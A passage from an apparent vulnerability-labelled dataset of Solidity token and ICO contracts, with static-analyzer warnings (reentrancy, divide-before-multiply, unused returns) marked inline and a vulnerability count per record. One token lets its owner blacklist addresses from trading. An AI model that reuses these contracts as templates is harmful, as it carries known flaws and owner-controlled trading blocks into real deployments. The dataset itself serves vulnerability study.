the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2920d76): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2920d76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1cf9964): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1cf9964: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d9d8377): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d9d8377: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8753282): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8753282: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ae41bb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ae41bb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e4f6a8a): ECMPublicICO._buyECM(address,address) performs a multiplication on the result of a division tokensToBuy = msg.value.mul(1e18).div(stage.price) bonusTokens = tokensToBuy.mul(stage.bonus).div(100)\n\t// Recommendation for e4f6a8a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 59c02b5): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 59c02b5: Consider ordering multiplication before division.\n function _buyECM(address buyer, address referrer) internal {\n require(msg.value > 0, \"Invalid amount\");\n\n Stage storage stage = stages[currentStage];\n\n require(stage.price > 0, \"Invalid stage price\");\n\n\t\t// divide-before-multiply | ID: e4f6a8a\n\t\t// divide-before-multiply | ID: 59c02b5\n uint256 tokensToBuy = msg.value.mul(1e18).div(stage.price);\n\n\t\t// divide-before-multiply | ID: e4f6a8a\n uint256 bonusTokens = stage.bonus > 0\n ? tokensToBuy.mul(stage.bonus).div(100)\n : 0;\n\n uint256 totalTokens = tokensToBuy.add(bonusTokens);\n\n require(\n stage.tokensSold.add(tokensToBuy) <= stage.target,\n \"Exceeds stage target\"\n );\n\n uint256 referralReward = 0;\n\n uint256 gasRefund = 0;\n\n if (referrer != address(0) && referrer != buyer && stage.refBonus > 0) {\n\t\t\t// divide-before-multiply | ID: 59c02b5\n referralReward = tokensToBuy.mul(stage.refBonus).div(100);\n\n if (referralReward > 0) {\n\t\t\t\t// reentrancy-events | ID: c332d2a\n\t\t\t\t// reentrancy-events | ID: eeea570\n\t\t\t\t// reentrancy-events | ID: 2920d76\n\t\t\t\t// reentrancy-benign | ID: 1cf9964\n\t\t\t\t// reentrancy-benign | ID: d9d8377\n\t\t\t\t// reentrancy-benign | ID: 8753282\n\t\t\t\t// reentrancy-no-eth | ID: ae41bb2\n require(\n ecmToken.transfer(referrer, referralReward),\n \"Referral transfer failed\"\n );\n\n\t\t\t\t// reentrancy-events | ID: eeea570\n emit ReferralPaid(referrer, referralReward);\n\n\t\t\t\t// reentrancy-benign | ID: 8753282\n totalReferralRewards = totalReferralRewards.add(referralReward);\n }\n }\n\n if (isSpecialOfferEnabled && tokensToBuy >= minimumPurchaseForOffer) {\n uint256 gasSpent = gasleft();\n\n\t\t\t// reentrancy-events | ID: c332d2a\n\t\t\t// reentrancy-events | ID: 2920d76\n\t\t\t// reentrancy-benign | ID: 1cf9964\n\t\t\t// reentrancy-benign | ID: d9d8377\n\t\t\t// reentrancy-no-eth | ID: ae41bb2\n require(\n ecmToken.transfer(buyer, totalTokens),\n \"Token transfer failed\"\n );\n\n gasSpent = gasSpent.sub(gasleft());\n\n uint256 maxGasPrice = 20 * GWEI;\n\n uint256 currentGasPrice = tx.gasprice;\n\n uint256 effectiveGasPrice = Math.min(currentGasPrice, maxGasPrice);\n\n gasRefund = Math\n .min(gasSpent.mul(effectiveGasPrice), MAX_GAS_REFUND)\n .mul(1e18)\n .div(stage.price);\n\n if (gasRefund > 0) {\n\t\t\t\t// reentrancy-events | ID: c332d2a\n\t\t\t\t// reentrancy-events | ID: 2920d76\n\t\t\t\t// reentrancy-benign | ID: 1cf9964\n\t\t\t\t// reentrancy-benign | ID: d9d8377\n\t\t\t\t// reentrancy-no-eth | ID: ae41bb2\n require(\n ecmToken.transfer(buyer, gasRefund),\n \"Gas refund transfer failed\"\n );\n\n\t\t\t\t// reentrancy-events | ID: 2920d76\n emit GasRefunded(buyer, gasRefund);\n\n\t\t\t\t// reentrancy-benign | ID: 1cf9964\n totalGasRefunds = totalGasRefunds.add(gasRefund);\n }\n } else {\n\t\t\t// reentrancy-events | ID: c332d2a\n\t\t\t// reentrancy-benign | ID: d9d8377\n\t\t\t// reentrancy-no-eth | ID: ae41bb2\n require(\n ecmToken.transfer(buyer, totalTokens),\n \"Token transfer failed\"\n );\n }\n\n\t\t// reentrancy-no-eth | ID: ae41bb2\n stage.tokensSold = stage.tokensSold.add(tokensToBuy);\n\n\t\t// reentrancy-no-eth | ID: ae41bb2\n stage.bonusDistributed = stage.bonusDistributed.add(bonusTokens).add(\n gasRefund\n );\n\n\t\t// reentrancy-benign | ID: d9d8377\n totalTokensSold = totalTokensSold.add(tokensToBuy);\n\n\t\t// reentrancy-benign | ID: d9d8377\n totalBonusDistributed = totalBonusDistributed.add(bonusTokens).add(\n gasRefund\n );\n\n\t\t// reentrancy-benign | ID: d9d8377\n contributions[buyer] = contributions[buyer].add(msg.value);\n\n\t\t// reentrancy-events | ID: c332d2a\n emit ECMPurchased(\n buyer,\n tokensToBuy,\n bonusTokens.add(gasRefund),\n currentStage\n );\n\n if (stage.tokensSold >= stage.target) {\n\t\t\t// reentrancy-no-eth | ID: ae41bb2\n stage.isCompleted = true;\n\n\t\t\t// reentrancy-events | ID: c332d2a\n emit StageCompleted(currentStage);\n\n\t\t\t// reentrancy-no-eth | ID: ae41bb2\n progressToNextStage();\n }\n }\n\n function progressToNextStage() internal {\n do {\n\t\t\t// reentrancy-no-eth | ID: ae41bb2\n currentStage++;\n } while (\n currentStage < stages.length && stages[currentStage].target == 0\n );\n }\n\n function withdrawFund(uint256 amount) external onlyOwner {\n require(\n amount > 0 && amount <= address(this).balance,\n \"Invalid amount\"\n );\n\n treasuryWallet.transfer(amount);\n\n emit FundsWithdrawn(treasuryWallet, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 387014b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 387014b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawECM(uint256 amount) external onlyOwner {\n require(\n amount > 0 && amount <= ecmToken.balanceOf(address(this)),\n \"Invalid amount\"\n );\n\n\t\t// reentrancy-events | ID: 387014b\n require(ecmToken.transfer(owner(), amount), \"Token transfer failed\");\n\n\t\t// reentrancy-events | ID: 387014b\n emit TokensWithdrawn(owner(), amount);\n }\n\n function updateStageTarget(\n uint256 stageIndex,\n uint256 target\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n require(target > stage.tokensSold, \"Invalid target amount\");\n\n stage.target = target;\n\n emit StageUpdated(stageIndex);\n }\n\n function updateStagePrice(\n uint256 stageIndex,\n uint256 price\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n require(price > 0, \"Invalid price\");\n\n stage.price = price;\n\n emit StageUpdated(stageIndex);\n }\n\n function toggleCompleteStage(uint256 stageIndex) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.isCompleted = !stage.isCompleted;\n\n emit StageCompleted(stageIndex);\n\n if (stage.isCompleted && stageIndex == currentStage) {\n progressToNextStage();\n }\n }\n\n function updateBonus(\n uint256 stageIndex,\n uint256 newBonus\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.bonus = newBonus;\n\n emit BonusUpdated(stageIndex, newBonus);\n }\n\n function updateRefBonus(\n uint256 stageIndex,\n uint256 newRefBonus\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.refBonus = newRefBonus;\n\n emit RefBonusUpdated(stageIndex, newRefBonus);\n }\n\n function setCurrentStage(uint256 newStage) external onlyOwner {\n require(newStage < stages.length, \"Invalid stage index\");\n\n currentStage = newStage;\n\n emit CurrentStageUpdated(newStage);\n }\n\n function setSpecialOffer(\n bool _isEnabled,\n uint256 _minPurchase\n ) external onlyOwner {\n isSpecialOfferEnabled = _isEnabled;\n\n minimumPurchaseForOffer = _minPurchase;\n\n emit SpecialOfferUpdated(_isEnabled, _minPurchase);\n }\n\n function getTotalTokensDistributed() public view returns (uint256) {\n return\n totalTokensSold.add(totalBonusDistributed).add(\n totalReferralRewards\n );\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n}\n",
"file_name": "solidity_code_10579.sol",
"size_bytes": 54181,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MstrArdio is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b39ff69): MstrArdio._taxWallet should be immutable \n\t// Recommendation for b39ff69: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d34b62b): MstrArdio._initialBuyTax should be constant \n\t// Recommendation for d34b62b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b1242f): MstrArdio._initialSellTax should be constant \n\t// Recommendation for 0b1242f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 234b443): MstrArdio._reduceBuyTaxAt should be constant \n\t// Recommendation for 234b443: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcc782a): MstrArdio._reduceSellTaxAt should be constant \n\t// Recommendation for dcc782a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d36104): MstrArdio._preventSwapBefore should be constant \n\t// Recommendation for 6d36104: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MstrArdio\"; //\n\n string private constant _symbol = unicode\"$MSTRARDIO\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6c2762): MstrArdio._taxSwapThreshold should be constant \n\t// Recommendation for a6c2762: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e882fce): MstrArdio._maxTaxSwap should be constant \n\t// Recommendation for e882fce: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2c6f8079e120B11Bf8DaEC42b2798bC234e1c610);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23e2192): MstrArdio.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23e2192: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e3b7f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e3b7f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1d1964a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1d1964a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e3b7f0\n\t\t// reentrancy-benign | ID: 1d1964a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e3b7f0\n\t\t// reentrancy-benign | ID: 1d1964a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 277c58f): MstrArdio._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 277c58f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1d1964a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e3b7f0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d529e4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d529e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ee3093e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ee3093e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1d529e4\n\t\t\t\t// reentrancy-eth | ID: ee3093e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1d529e4\n\t\t\t\t\t// reentrancy-eth | ID: ee3093e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ee3093e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ee3093e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ee3093e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1d529e4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ee3093e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ee3093e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1d529e4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6e3b7f0\n\t\t// reentrancy-events | ID: 1d529e4\n\t\t// reentrancy-benign | ID: 1d1964a\n\t\t// reentrancy-eth | ID: ee3093e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6e3b7f0\n\t\t// reentrancy-events | ID: 1d529e4\n\t\t// reentrancy-eth | ID: ee3093e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2cc70fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2cc70fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cdc7a41): MstrArdio.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cdc7a41: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 315381d): MstrArdio.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 315381d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b4ab3d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b4ab3d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2cc70fc\n\t\t// reentrancy-eth | ID: b4ab3d2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2cc70fc\n\t\t// unused-return | ID: 315381d\n\t\t// reentrancy-eth | ID: b4ab3d2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2cc70fc\n\t\t// unused-return | ID: cdc7a41\n\t\t// reentrancy-eth | ID: b4ab3d2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2cc70fc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b4ab3d2\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1058.sol",
"size_bytes": 19927,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint 